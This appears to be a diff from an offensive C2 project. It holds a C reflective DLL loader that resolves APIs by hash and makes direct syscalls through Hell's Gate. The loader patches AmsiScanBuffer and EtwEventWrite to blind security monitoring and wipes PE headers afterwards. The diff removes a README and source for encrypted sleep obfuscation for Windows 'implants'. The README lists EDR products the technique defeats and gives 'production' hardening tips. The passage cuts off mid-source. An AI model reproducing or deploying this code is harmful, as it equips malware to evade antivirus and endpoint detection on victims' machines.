typedef FARPROC (WINAPI *pGetProcAddress_t) (HMODULE, LPCSTR);
typedef LPVOID (WINAPI *pVirtualAlloc_t) (LPVOID, SIZE_T, DWORD, DWORD);
typedef BOOL (WINAPI *pVirtualProtect_t) (LPVOID, SIZE_T, DWORD, PDWORD);
typedef BOOL (WINAPI *pFlushInstructionCache_t) (HANDLE, LPCVOID, SIZE_T);
typedef HANDLE (WINAPI *pGetCurrentProcess_t) (void);
typedef BOOL (WINAPI *pDllMain_t) (HINSTANCE, DWORD, LPVOID);
typedef LONG (WINAPI *pNtAllocVm_t) (HANDLE, PVOID*, ULONG_PTR, PSIZE_T, ULONG, ULONG);
typedef LONG (WINAPI *pNtProtectVm_t) (HANDLE, PVOID*, PSIZE_T, ULONG, PULONG);
typedef BOOLEAN (WINAPI *pRtlAddFunctionTable_t) (PRUNTIME_FUNCTION, DWORD, DWORD64);
// ROR13+additive hashes - generated by tools/gen_hashes.py
// kernel32
#define H_LoadLibraryA 0x8A8B4676UL
#define H_LoadLibraryExA 0xA5919EE3UL
#define H_GetProcAddress 0x1ACAEE7AUL
#define H_VirtualAlloc 0x302EBE1CUL
#define H_FlushInstructionCache 0xD9303A47UL
#define H_GetCurrentProcess 0x1A4B89AAUL
// ntdll
#define H_NtAllocateVirtualMemory 0x5947FD91UL
#define H_NtProtectVirtualMemory 0x1255C05BUL
#define H_RtlAddFunctionTable 0xB11A8928UL
#define H_EtwEventWrite 0xBE87B7B5UL
// amsi.dll
#define H_AmsiScanBuffer 0x338E06F6UL
// stomp target - must have SizeOfImage >= ours
#define STOMP_DLL "C:\\Windows\\System32\\clbcatq.dll"
// debug telemetry, exported
typedef struct { WORD ssn_alloc; WORD ssn_protect; DWORD alloc_method; } RL_DBG;
#define RL_DBG_HELLSGATE 1u
#define RL_DBG_VIRTALLOC 2u
__declspec(dllexport) volatile RL_DBG _rl_dbg = {0xFFFF, 0xFFFF, 0};
// ROR13+additive hash, input uppercased
static DWORD _rl_hash(const char *s)
{
DWORD h = 0;
while (*s) {
unsigned char c = (unsigned char)*s++;
if (c >= 'a') c -= 0x20;
h = (h >> 13) | (h << 19); // ROR13
h += c;
}
return h;
}
// wide vs narrow case-insensitive compare, up to 12 chars
static int _rl_weq12(const WCHAR *w, const char *s)
{
for (int i = 0; i < 12; i++) {
if (!w[i] && !s[i]) return 1;
if (!w[i] || !s[i]) return 0;
if ((w[i] | 0x20) != ((unsigned char)s[i] | 0x20)) return 0;
}
return 1; // full 12-char match (e.g. "kernel32.dll")
}
// walk PEB module list, return kernel32 base
static ULONG_PTR _rl_find_kernel32(void)
{
#ifdef _WIN64
RL_PEB *peb = (RL_PEB *)__readgsqword(0x60);
#else
RL_PEB *peb = (RL_PEB *)__readfsdword(0x30);
#endif
PLIST_ENTRY head = &peb->Ldr->InMemoryOrderModuleList;
PLIST_ENTRY cur = head->Flink;
while (cur != head) {
RL_LDR_ENTRY *e = CONTAINING_RECORD(cur, RL_LDR_ENTRY, InMemoryOrderLinks);
if (e->BaseDllName.Length >= 24 && _rl_weq12(e->BaseDllName.Buffer, "kernel32.dll"))
return (ULONG_PTR)e->DllBase;
cur = cur->Flink;
}
return 0;
}
// walk PEB module list, return ntdll base
static ULONG_PTR _rl_find_ntdll(void)
{
#ifdef _WIN64
RL_PEB *peb = (RL_PEB *)__readgsqword(0x60);
#else
RL_PEB *peb = (RL_PEB *)__readfsdword(0x30);
#endif
PLIST_ENTRY head = &peb->Ldr->InMemoryOrderModuleList;
PLIST_ENTRY cur = head->Flink;
while (cur != head) {
RL_LDR_ENTRY *e = CONTAINING_RECORD(cur, RL_LDR_ENTRY, InMemoryOrderLinks);
if (e->BaseDllName.Length >= 18 && _rl_weq12(e->BaseDllName.Buffer, "ntdll.dll\0\0\0"))
return (ULONG_PTR)e->DllBase;
cur = cur->Flink;
}
return 0;
}
// EAT walk by hash - ignores forwarded exports
static ULONG_PTR _rl_get_proc_h(ULONG_PTR mod, DWORD hash)
{
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)mod;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(mod + dos->e_lfanew);
DWORD expRva = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
DWORD expSz = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size;
if (!expRva) return 0;
PIMAGE_EXPORT_DIRECTORY exp = (PIMAGE_EXPORT_DIRECTORY)(mod + expRva);
DWORD *names = (DWORD *)(mod + exp->AddressOfNames);
WORD *ords = (WORD *)(mod + exp->AddressOfNameOrdinals);
DWORD *funcs = (DWORD *)(mod + exp->AddressOfFunctions);
for (DWORD i = 0; i < exp->NumberOfNames; i++) {
if (_rl_hash((char *)(mod + names[i])) == hash) {
DWORD fnRva = funcs[ords[i]];
if (fnRva >= expRva && fnRva < expRva + expSz) return 0; // forwarded, skip
return mod + fnRva;
}
}
return 0;
}
// get SSN from ntdll stub (Hell's Gate / Halos Gate / Tartarus Gate)
static WORD _rl_ssn(ULONG_PTR ntdll, DWORD hash)
{
ULONG_PTR stub = _rl_get_proc_h(ntdll, hash);
if (!stub) return 0xFFFF;
uint8_t *p = (uint8_t *)stub;
// clean stub - read SSN from bytes 4-5
if (p[0]==0x4C && p[1]==0x8B && p[2]==0xD1 && p[3]==0xB8 && p[6]==0x00 && p[7]==0x00)
return *(WORD *)(p + 4);
// hooked - find real stub stride by scanning backward
int stride = 0;
for (int s = 1; s <= 256 && !stride; s++) {
uint8_t *q = p - s;
if (q[0]==0x4C && q[1]==0x8B && q[2]==0xD1 && q[3]==0xB8 && q[6]==0x00 && q[7]==0x00)
stride = s;
}
if (!stride) {
for (int s = 1; s <= 256 && !stride; s++) {
uint8_t *q = p + s;
if (q[0]==0x4C && q[1]==0x8B && q[2]==0xD1 && q[3]==0xB8 && q[6]==0x00 && q[7]==0x00)
stride = s;
}
}
if (!stride) stride = 32; // typical Win10/11 stub size
for (int d = 1; d <= 32; d++) {
uint8_t *n = p + d * stride;
if (n[0]==0x4C && n[1]==0x8B && n[2]==0xD1 && n[3]==0xB8 && n[6]==0x00 && n[7]==0x00)
return (WORD)(*(WORD *)(n + 4) - (WORD)d);
n = p - d * stride;
if (n[0]==0x4C && n[1]==0x8B && n[2]==0xD1 && n[3]==0xB8 && n[6]==0x00 && n[7]==0x00)
return (WORD)(*(WORD *)(n + 4) + (WORD)d);
}
return 0xFFFF;
}
// must be in .data not .bss (no raw bytes on disk)
static volatile WORD _hg_ssn = 0xFFFF;
// set _hg_ssn before calling
__attribute__((naked))
static NTSTATUS _rl_hg_call(void)
{
__asm__(
"movzwl _hg_ssn(%rip), %eax\n\t"
"movq %rcx, %r10\n\t"
"syscall\n\t"
"ret\n\t"
);
}
// scan backward from own RIP to find the MZ header of the raw DLL in memory
static ULONG_PTR _rl_find_own_base(void)
{
ULONG_PTR ip = (ULONG_PTR)_rl_find_own_base & ~0xFFFUL;
for (int i = 0; i < 4096; i++, ip -= 0x1000) {
if (*(WORD *)ip != IMAGE_DOS_SIGNATURE) continue;
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)ip;
if ((ULONG_PTR)dos->e_lfanew > 0x400) continue;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(ip + dos->e_lfanew);
if (nt->Signature == IMAGE_NT_SIGNATURE && nt->OptionalHeader.SizeOfImage > 0)
return ip;
}
return 0;
}
__declspec(dllexport)
ULONG_PTR WINAPI ReflectiveLoader(LPVOID lpParameter)
{
(void)lpParameter;
// 1. find kernel32 + ntdll via PEB walk
ULONG_PTR k32 = _rl_find_kernel32();
ULONG_PTR ntdll = _rl_find_ntdll();
if (!k32 || !ntdll) return 0;
// 2. resolve APIs by hash - no plaintext strings
pLoadLibraryA_t fLLA = (pLoadLibraryA_t) _rl_get_proc_h(k32, H_LoadLibraryA);
pLoadLibraryExA_t fLLEA = (pLoadLibraryExA_t) _rl_get_proc_h(k32, H_LoadLibraryExA);
pGetProcAddress_t fGPA = (pGetProcAddress_t) _rl_get_proc_h(k32, H_GetProcAddress);
pVirtualAlloc_t fVA = (pVirtualAlloc_t) _rl_get_proc_h(k32, H_VirtualAlloc);
pFlushInstructionCache_t fFIC = (pFlushInstructionCache_t) _rl_get_proc_h(k32, H_FlushInstructionCache);
pGetCurrentProcess_t fGCP = (pGetCurrentProcess_t) _rl_get_proc_h(k32, H_GetCurrentProcess);
pRtlAddFunctionTable_t fRAFT = (pRtlAddFunctionTable_t) _rl_get_proc_h(ntdll, H_RtlAddFunctionTable);
if (!fLLA || !fGPA || !fVA) return 0;
// VirtualProtect is forwarded, EAT returns a string not a pointer
pVirtualProtect_t fVP = (pVirtualProtect_t)fGPA((HMODULE)k32, "VirtualProtect");
// 3. get syscall numbers for NtAllocate/NtProtect (bypasses ntdll hooks)
WORD ssn_alloc = _rl_ssn(ntdll, H_NtAllocateVirtualMemory);
WORD ssn_protect = _rl_ssn(ntdll, H_NtProtectVirtualMemory);
// save for telemetry
_rl_dbg.ssn_alloc = ssn_alloc;
_rl_dbg.ssn_protect = ssn_protect;
// 4. locate raw PE
ULONG_PTR src = lpParameter ? (ULONG_PTR)lpParameter : _rl_find_own_base();
if (!src) return 0;
PIMAGE_DOS_HEADER srcDos = (PIMAGE_DOS_HEADER)src;
PIMAGE_NT_HEADERS srcNt = (PIMAGE_NT_HEADERS)(src + srcDos->e_lfanew);
DWORD imgSz = srcNt->OptionalHeader.SizeOfImage;
DWORD hdrSz = srcNt->OptionalHeader.SizeOfHeaders;
// 5. allocate dst - priority: module stomp > NtAllocate syscall > VirtualAlloc
ULONG_PTR dst = 0;
// (a) module stomping - disabled
// LoadLibraryExA(DONT_RESOLVE_DLL_REFERENCES) calls DllMain on Win10+ and hangs.
// Needs NtCreateSection + NtMapViewOfSection for a proper implementation.
(void)fLLEA;
// (b) NtAllocateVirtualMemory syscall, try preferred base first
if (!dst && ssn_alloc != 0xFFFF) {
SIZE_T sz = (SIZE_T)imgSz;
PVOID base = (PVOID)srcNt->OptionalHeader.ImageBase;
_hg_ssn = ssn_alloc;
if (((pNtAllocVm_t)_rl_hg_call)((HANDLE)(LONG_PTR)-1, &base, 0, &sz,
MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE) == 0)
dst = (ULONG_PTR)base;
if (!dst) {
base = NULL; sz = (SIZE_T)imgSz;
_hg_ssn = ssn_alloc;
if (((pNtAllocVm_t)_rl_hg_call)((HANDLE)(LONG_PTR)-1, &base, 0, &sz,
MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE) == 0)
dst = (ULONG_PTR)base;
}
if (dst) _rl_dbg.alloc_method = RL_DBG_HELLSGATE;
}
// (c) VirtualAlloc - plain fallback
if (!dst)
dst = (ULONG_PTR)fVA((LPVOID)srcNt->OptionalHeader.ImageBase,
imgSz, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (!dst)
dst = (ULONG_PTR)fVA(NULL, imgSz, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (!dst) return 0;
if (!_rl_dbg.alloc_method) _rl_dbg.alloc_method = RL_DBG_VIRTALLOC;
// 6. copy headers
{ uint8_t *s=(uint8_t*)src, *d=(uint8_t*)dst; for(DWORD i=0;i<hdrSz;i++) d[i]=s[i]; }
// 7. copy sections
{
PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(srcNt);
for (WORD i = 0; i < srcNt->FileHeader.NumberOfSections; i++, sec++) {
if (!sec->PointerToRawData || !sec->SizeOfRawData) continue;
uint8_t *ss = (uint8_t *)(src + sec->PointerToRawData);
uint8_t *sd = (uint8_t *)(dst + sec->VirtualAddress);
for (DWORD j = 0; j < sec->SizeOfRawData; j++) sd[j] = ss[j];
}
}
PIMAGE_NT_HEADERS dstNt = (PIMAGE_NT_HEADERS)(dst + ((PIMAGE_DOS_HEADER)dst)->e_lfanew);
LONG_PTR delta = (LONG_PTR)(dst - srcNt->OptionalHeader.ImageBase);
// 8. base relocations
{
DWORD relRva = dstNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress;
DWORD relSz = dstNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;
if (delta && relRva && relSz) {
PIMAGE_BASE_RELOCATION reloc = (PIMAGE_BASE_RELOCATION)(dst + relRva);
while (reloc->VirtualAddress && reloc->SizeOfBlock) {
ULONG_PTR page = dst + reloc->VirtualAddress;
WORD *entry = (WORD *)((uint8_t *)reloc + sizeof(IMAGE_BASE_RELOCATION));
DWORD cnt = (reloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
for (DWORD i = 0; i < cnt; i++) {
int type = entry[i] >> 12;
DWORD off = entry[i] & 0x0FFF;
#ifdef _WIN64
if (type == IMAGE_REL_BASED_DIR64) *(ULONG_PTR *)(page+off) += (ULONG_PTR)delta;
#endif
if (type == IMAGE_REL_BASED_HIGHLOW) *(DWORD *)(page+off) += (DWORD)delta;
}
reloc = (PIMAGE_BASE_RELOCATION)((uint8_t *)reloc + reloc->SizeOfBlock);
}
}
}
// 9. imports
{
DWORD impRva = dstNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
if (impRva) {
PIMAGE_IMPORT_DESCRIPTOR imp = (PIMAGE_IMPORT_DESCRIPTOR)(dst + impRva);
for (; imp->Name; imp++) {
HMODULE hLib = fLLA((char *)(dst + imp->Name));
if (!hLib) continue;
IMAGE_THUNK_DATA *iat = (IMAGE_THUNK_DATA *)(dst + imp->FirstThunk);
IMAGE_THUNK_DATA *ont = imp->OriginalFirstThunk
? (IMAGE_THUNK_DATA *)(dst + imp->OriginalFirstThunk) : iat;
for (; ont->u1.AddressOfData; ont++, iat++) {
FARPROC proc;
if (IMAGE_SNAP_BY_ORDINAL(ont->u1.Ordinal))
proc = fGPA(hLib, (LPCSTR)IMAGE_ORDINAL(ont->u1.Ordinal));
else {
PIMAGE_IMPORT_BY_NAME ibn =
(PIMAGE_IMPORT_BY_NAME)(dst + (DWORD)ont->u1.AddressOfData);
proc = fGPA(hLib, (LPCSTR)ibn->Name);
}
iat->u1.Function = (ULONG_PTR)proc;
}
}
}
}
// 10. per-section permissions
{
DWORD secAlign = dstNt->OptionalHeader.SectionAlignment;
PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(dstNt);
for (WORD i = 0; i < dstNt->FileHeader.NumberOfSections; i++, sec++) {
if (!sec->VirtualAddress) continue;
// round up to section alignment
DWORD vsz = sec->Misc.VirtualSize ? sec->Misc.VirtualSize : sec->SizeOfRawData;
DWORD msz = (vsz + secAlign - 1) & ~(secAlign - 1);
if (!msz) continue;
DWORD prot = PAGE_NOACCESS, c = sec->Characteristics;
if (c & IMAGE_SCN_MEM_EXECUTE) {
if (c & IMAGE_SCN_MEM_WRITE) prot = PAGE_EXECUTE_READWRITE;
else if (c & IMAGE_SCN_MEM_READ) prot = PAGE_EXECUTE_READ;
else prot = PAGE_EXECUTE;
} else if (c & IMAGE_SCN_MEM_READ) {
prot = (c & IMAGE_SCN_MEM_WRITE) ? PAGE_READWRITE : PAGE_READONLY;
} else if (c & IMAGE_SCN_MEM_WRITE) {
prot = PAGE_WRITECOPY;
}
if (ssn_protect != 0xFFFF) {
PVOID addr = (PVOID)(dst + sec->VirtualAddress);
SIZE_T sz = (SIZE_T)msz;
ULONG old = 0;
_hg_ssn = ssn_protect;
((pNtProtectVm_t)_rl_hg_call)((HANDLE)(LONG_PTR)-1, &addr, &sz, prot, &old);
} else if (fVP) {
DWORD old;
fVP((LPVOID)(dst + sec->VirtualAddress), msz, prot, &old);
}
}
}
// 11. register .pdata for x64 SEH
if (fRAFT) {
DWORD pdRva = dstNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION].VirtualAddress;
DWORD pdSz = dstNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION].Size;
if (pdRva && pdSz)
fRAFT((PRUNTIME_FUNCTION)(dst + pdRva), pdSz / sizeof(RUNTIME_FUNCTION), (DWORD64)dst);
}
// 11b. init __security_cookie - /GS DLLs crash at function return without this
{
DWORD lcRva = dstNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG].VirtualAddress;
if (lcRva) {
PIMAGE_LOAD_CONFIG_DIRECTORY64 lc = (PIMAGE_LOAD_CONFIG_DIRECTORY64)(dst + lcRva);
if (lc->Size >= (DWORD)((ULONG_PTR)&lc->SecurityCookie - (ULONG_PTR)lc + sizeof(lc->SecurityCookie))
&& lc->SecurityCookie) {
ULONG_PTR *ck = (ULONG_PTR *)lc->SecurityCookie;
ULONG_PTR seed = (ULONG_PTR)ck ^ (ULONG_PTR)dst ^ (ULONG_PTR)lc;
seed ^= (seed >> 16) ^ (seed << 13);
if (!seed || seed == 0x00002B992DDFA232ULL) seed ^= 0xFACEB00CFACEB00CULL;
*ck = seed;
}
}
}
// 12. AMSI
if (fVP) {
HMODULE hAmsi = fLLA("amsi.dll");
if (hAmsi) {
LPVOID scan = (LPVOID)fGPA(hAmsi, "AmsiScanBuffer");
if (scan) {
DWORD old = 0;
if (fVP(scan, 3, PAGE_EXECUTE_READWRITE, &old)) {
((uint8_t *)scan)[0] = 0x31;
((uint8_t *)scan)[1] = 0xC0;
((uint8_t *)scan)[2] = 0xC3;
fVP(scan, 3, old, &old);
}
}
}
}
// 13. ETW - patch EtwEventWrite: xor eax,eax; ret
if (fVP) {
ULONG_PTR etw = _rl_get_proc_h(ntdll, H_EtwEventWrite);
if (etw) {
DWORD old = 0;
if (fVP((LPVOID)etw, 3, PAGE_EXECUTE_READWRITE, &old)) {
((uint8_t *)etw)[0] = 0x31;
((uint8_t *)etw)[1] = 0xC0;
((uint8_t *)etw)[2] = 0xC3;
fVP((LPVOID)etw, 3, old, &old);
}
}
}
// 14. TLS - alloc slot, write index, call callbacks before DllMain
{
DWORD tlsRva = dstNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS].VirtualAddress;
if (tlsRva) {
PIMAGE_TLS_DIRECTORY tlsDir = (PIMAGE_TLS_DIRECTORY)(dst + tlsRva);
// alloc TLS slot
typedef DWORD (WINAPI *pTlsAlloc_t)(void);
pTlsAlloc_t fTlsAlloc = (pTlsAlloc_t)fGPA((HMODULE)k32, "TlsAlloc");
if (fTlsAlloc && tlsDir->AddressOfIndex) {
DWORD tlsIdx = fTlsAlloc();
if (tlsIdx != TLS_OUT_OF_INDEXES)
*(DWORD *)(ULONG_PTR)tlsDir->AddressOfIndex = tlsIdx;
}
// call each callback with DLL_PROCESS_ATTACH
if (tlsDir->AddressOfCallBacks) {
PIMAGE_TLS_CALLBACK *cb = (PIMAGE_TLS_CALLBACK *)(ULONG_PTR)tlsDir->AddressOfCallBacks;
while (*cb) {
(*cb)((PVOID)dst, DLL_PROCESS_ATTACH, NULL);
cb++;
}
}
}
}
// 15. flush icache
if (fFIC && fGCP) fFIC(fGCP(), (LPVOID)dst, imgSz);
// 16. DllMain
pDllMain_t fDllMain = (pDllMain_t)(dst + dstNt->OptionalHeader.AddressOfEntryPoint);
fDllMain((HINSTANCE)dst, DLL_PROCESS_ATTACH, NULL);
// 17. erase PE headers
if (fVP || ssn_protect != 0xFFFF) {
if (ssn_protect != 0xFFFF) {
PVOID addr = (PVOID)dst;
SIZE_T sz = (SIZE_T)hdrSz;
ULONG old = 0;
_hg_ssn = ssn_protect;
((pNtProtectVm_t)_rl_hg_call)((HANDLE)(LONG_PTR)-1, &addr, &sz, PAGE_READWRITE, &old);
} else {
DWORD old;
fVP((LPVOID)dst, hdrSz, PAGE_READWRITE, &old);
}
volatile uint8_t *p = (volatile uint8_t *)dst;
for (DWORD i = 0; i < hdrSz; i++) p[i] = 0;
if (ssn_protect != 0xFFFF) {
PVOID addr = (PVOID)dst;
SIZE_T sz = (SIZE_T)hdrSz;
ULONG old = 0;
_hg_ssn = ssn_protect;
((pNtProtectVm_t)_rl_hg_call)((HANDLE)(LONG_PTR)-1, &addr, &sz, PAGE_READONLY, &old);
} else {
DWORD old;
fVP((LPVOID)dst, hdrSz, PAGE_READONLY, &old);
}
}
return dst;
}
@@ -1,20 +0,0 @@
def rl_hash(s):
h = 0
for c in s.upper():
h = ((h >> 13) | (h << 19)) & 0xFFFFFFFF
h = (h + ord(c)) & 0xFFFFFFFF
return h
apis = [
'kernel32.dll',
'LoadLibraryA',
'GetProcAddress',
'VirtualAlloc',
'VirtualProtect',
'FlushInstructionCache',
'GetCurrentProcess',
]
for a in apis:
key = a.replace('.', '_')
print('#define HASH_%-30s 0x%08XULL // %s' % (key, rl_hash(a), a))
-28
View File
@@ -1,28 +0,0 @@
CC = x86_64-w64-mingw32-gcc
CFLAGS = -O2 -Wall -Wextra \
-Iinclude \
-masm=att \
-fno-asynchronous-unwind-tables \
-fno-ident \
-fno-stack-protector
LDFLAGS = -lbcrypt -lntdll
SRC = src/sleep_obf.c src/demo.c
OBJ = $(patsubst src/%.c, build/%.o, $(SRC))
TARGET = build/demo.exe
all: build $(TARGET)
build:
mkdir -p build
build/%.o: src/%.c
$(CC) $(CFLAGS) -c $< -o $@
$(TARGET): $(OBJ)
$(CC) $(CFLAGS) $(OBJ) -o $@ $(LDFLAGS)
clean:
rm -rf build
.PHONY: all clean
-117
View File
@@ -1,117 +0,0 @@
# sleep-obf
Encrypted sleep obfuscation for Windows x64 implants.
Encrypts the calling module's `.text` section with a `BCryptGenRandom` key, marks it `PAGE_NOACCESS`, pivots to a fake thread context waiting on `NtWaitForSingleObject`, and decrypts on wakeup. Stack scan during sleep shows a legitimate `NtWaitForSingleObject` call chain, not your implant.
Extracted from [KHAOS C2](https://github.com/28Zaaky/khaos-c2).
---
## How it works
```
RtlCaptureContext() <- save real context (RIP points back here)
|
v
CreateThread(_timer_thread) <- fires Sleep(ms) then SetEvent(done)
|
v
XOR .text with 32-byte BCryptGenRandom key
VirtualProtect .text -> PAGE_NOACCESS
Rewrite TEB StackBase/StackLimit -> fake stack
|
v
NtContinue(fake_ctx) <- pivot: RIP=NtWaitForSingleObject, RSP=fake_stack
| stack now shows: NtWait -> RtlUserThreadStart+0x10
v
[EVENT FIRES after ms]
|
v
_sleep_trampoline() <- on fake stack, called as return from NtWait
|
v
XOR .text again (decrypt)
VirtualProtect .text -> PAGE_EXECUTE_READ
Restore TEB stack bounds
NtContinue(real_ctx) <- resume exactly where RtlCaptureContext was called
```
Key properties:
- **Fake call stack**: during sleep, the thread stack shows `NtWaitForSingleObject` called from `RtlUserThreadStart+0x10`. No implant frames visible.
- **TEB stack bounds rewritten**: `StackBase`/`StackLimit` in the TEB point to the fake stack so ETW stack walks stay within valid bounds.
- **Timer thread in `.run` section**: timer thread code and trampoline are in a separate `.run` section, not `.text`. They keep executing while `.text` is `NOACCESS`.
- **No IAT thunks in critical path**: `VirtualProtect`, `Sleep`, `SetEvent` are resolved to direct function addresses and stored in `obf_ctx_t`. IAT thunks live in `.text` and would fault if called during sleep.
- **NtProtectVirtualMemory** is used instead of `VirtualProtect` to protect the protect call itself from userland hooks.
- **ACG fallback**: if the permission round-trip fails (e.g. ACG-enforced process), falls back to plain `Sleep()`.
---
## Usage
```c
#include "sleep_obf.h"
// basic usage
sleep_obf(5000); // sleep 5 seconds with .text encrypted
// optional: hook to arm ETW/AMSI hardware breakpoints on the timer thread
// (implement your own or use the hwbp-evasion technique)
g_sleep_obf_thread_hook = my_hwbp_arm_fn;
sleep_obf(5000);
```
---
## Build
Requires MinGW-w64 cross-compiler.
```bash
make
./build/demo.exe
```
On a Windows host with MSVC, adjust `CC`, link `bcrypt.lib` and `ntdll.lib`.
---
## Limitations
- x64 only.
- Requires the calling module to have a `.text` section (standard for PE files).
- Does not survive process suspension during the encryption window (between `CreateThread` and `NtContinue`) — this window is a few microseconds.
- DLLs with `DLL_THREAD_ATTACH` callbacks that touch `.text` will fault during timer thread creation if `.text` is already encrypted. The implementation creates the thread **before** encrypting to avoid this.
### Kernel-mode AV (Kaspersky, ESET, etc.)
Some AV products (notably Kaspersky Total Security / KAV) use kernel-mode callbacks that intercept `NtProtectVirtualMemory` calls targeting the process's own `.text` section. When detected, they terminate the thread via a kernel APC before the syscall returns. **No userland exception handler (VEH, SEH) can catch this** — the VEH is never invoked.
The implementation handles this gracefully: the permission round-trip test (`PAGE_READWRITE` → restore) catches the failure and falls back to plain `Sleep()` before any encryption is attempted. The setjmp/VEH in `_nt_prot` catches the exception on products that raise it (Defender, etc.); for products that issue a kernel APC (Kaspersky), the fallback relies on a clean thread termination message in the OS.
**Testing**: run in a VM without AV, or with AV excluded/disabled, to observe the full sleep obfuscation behavior. The technique is effective against userland-hook-based EDRs (Microsoft Defender, CrowdStrike Falcon in standard config, SentinelOne in detect-only mode).
---
## Operational notes
This PoC uses `GetModuleHandleA`/`GetProcAddress` with plaintext strings. In production:
- Replace with a PEB walk (`__readgsqword(0x60)`) to resolve modules without touching the IAT or leaving strings in `.rdata`.
- Encrypt sensitive string literals (see EVS XOR in KHAOS C2).
---
## Credits
Technique originally described by [Ekko](https://github.com/Cracked5pider/Ekko) (Cracked5pider). This implementation extends it with:
- `NtProtectVirtualMemory` instead of `VirtualProtect` for the permission flip
- TEB `StackBase`/`StackLimit` rewrite for ETW stack walk validity
- Fallback path for ACG-enforced environments
- Thread hook integration point for HWBP-based ETW/AMSI bypass
---
*Part of [KHAOS C2](https://github.com/28Zaaky/khaos-c2) — by [28Zaaky](https://github.com/28Zaaky)*
-22
View File
@@ -1,22 +0,0 @@
#pragma once
#include <windows.h>
/*
* Optional hook called with the timer thread handle before .text is encrypted.
* Use to arm hardware breakpoints (ETW/AMSI bypass) on the timer thread.
* Set to NULL if not needed.
*/
typedef void (*sleep_obf_thread_hook_t)(HANDLE hThread);
extern sleep_obf_thread_hook_t g_sleep_obf_thread_hook;
/*
* sleep_obf() — encrypted sleep
*
* Encrypts the calling module's .text section with a BCryptGenRandom key,
* marks it PAGE_NOACCESS, switches to a fake thread context pointing to
* NtWaitForSingleObject on a fake stack, and restores state on wakeup.
*
* Falls back to plain Sleep() if any setup step fails (ACG, section not
* found, allocation failure).
*/
void sleep_obf(DWORD ms);
-26
View File
@@ -1,26 +0,0 @@
#include "sleep_obf.h"
#include <windows.h>
#include <stdio.h>
int main(void)
{
printf("[*] starting — sleeping 5 seconds with .text obfuscation\n");
fflush(stdout);
sleep_obf(5000);
printf("[+] woke up — .text restored, execution resumed\n");
fflush(stdout);
/* loop to show repeated sleeps work */
for (int i = 0; i < 3; i++) {
printf("[*] loop %d — sleeping 2 seconds\n", i + 1);
fflush(stdout);
sleep_obf(2000);
printf("[+] loop %d — resumed\n", i + 1);
fflush(stdout);
}
printf("[+] done\n");
return 0;
}
-323
View File
@@ -1,323 +0,0 @@
#include "sleep_obf.h"
#include <windows.h>
#include <bcrypt.h>
#include <string.h>
#include <stdint.h>
#include <setjmp.h>
/*
* PoC note: this file uses GetModuleHandleA/GetProcAddress for simplicity.
* In production, replace with a PEB walk to keep these strings off the IAT
* and out of .rdata. See agent/src/evasion/evasion.c in KHAOS C2 for the
* hardened version.
*/
sleep_obf_thread_hook_t g_sleep_obf_thread_hook = NULL;
typedef NTSTATUS (NTAPI *NtContinue_t) (PCONTEXT, BOOLEAN);
typedef NTSTATUS (NTAPI *NtWait_t) (HANDLE, BOOLEAN, PLARGE_INTEGER);
typedef VOID (NTAPI *RtlCaptureContext_t) (PCONTEXT);
typedef BOOL (WINAPI *VirtualProtect_t) (LPVOID, SIZE_T, DWORD, PDWORD);
typedef void (WINAPI *Sleep_t) (DWORD);
typedef BOOL (WINAPI *SetEvent_t) (HANDLE);
typedef NTSTATUS (NTAPI *NtProtectVM_t) (HANDLE, PVOID *, PSIZE_T, ULONG, PULONG);
#define FAKE_STACK_SZ 0x10000
typedef struct {
LPVOID text_base;
SIZE_T text_size;
BYTE key[32];
DWORD sleep_ms;
HANDLE done;
NtContinue_t ntcontinue;
LARGE_INTEGER timeout;
LPVOID fake_stack_mem;
PVOID orig_stack_base;
PVOID orig_stack_limit;
VirtualProtect_t fn_vprot;
Sleep_t fn_sleep;
SetEvent_t fn_setevent;
} obf_ctx_t;
/* NtProtectVirtualMemory wrapper — bypasses VirtualProtect hooks.
* Uses setjmp/VEH to catch exceptions injected by kernel-mode AV drivers
* (e.g. Kaspersky) that block .text permission changes at kernel level.
* On such systems the roundtrip check fails gracefully and sleep_obf
* falls back to plain Sleep(). */
static NtProtectVM_t s_ntpvm = NULL;
static jmp_buf s_prot_jmp;
static volatile LONG s_in_prot = 0;
static LONG WINAPI _prot_veh(EXCEPTION_POINTERS *ep)
{
if (!s_in_prot) return EXCEPTION_CONTINUE_SEARCH;
if (ep->ExceptionRecord->ExceptionCode == EXCEPTION_ACCESS_VIOLATION ||
ep->ExceptionRecord->ExceptionCode == 0xC0000022) {
longjmp(s_prot_jmp, 1);
}
return EXCEPTION_CONTINUE_SEARCH;
}
static BOOL _nt_prot(LPVOID addr, SIZE_T sz, DWORD prot, DWORD *old)
{
if (!s_ntpvm) {
s_ntpvm = (NtProtectVM_t)(void *)GetProcAddress(
GetModuleHandleA("ntdll.dll"), "NtProtectVirtualMemory");
}
if (!s_ntpvm) return FALSE;
PVOID veh = AddVectoredExceptionHandler(1, _prot_veh);
InterlockedExchange(&s_in_prot, 1);
if (setjmp(s_prot_jmp) != 0) {
/* exception caught — NtPVM blocked by kernel AV driver */
InterlockedExchange(&s_in_prot, 0);
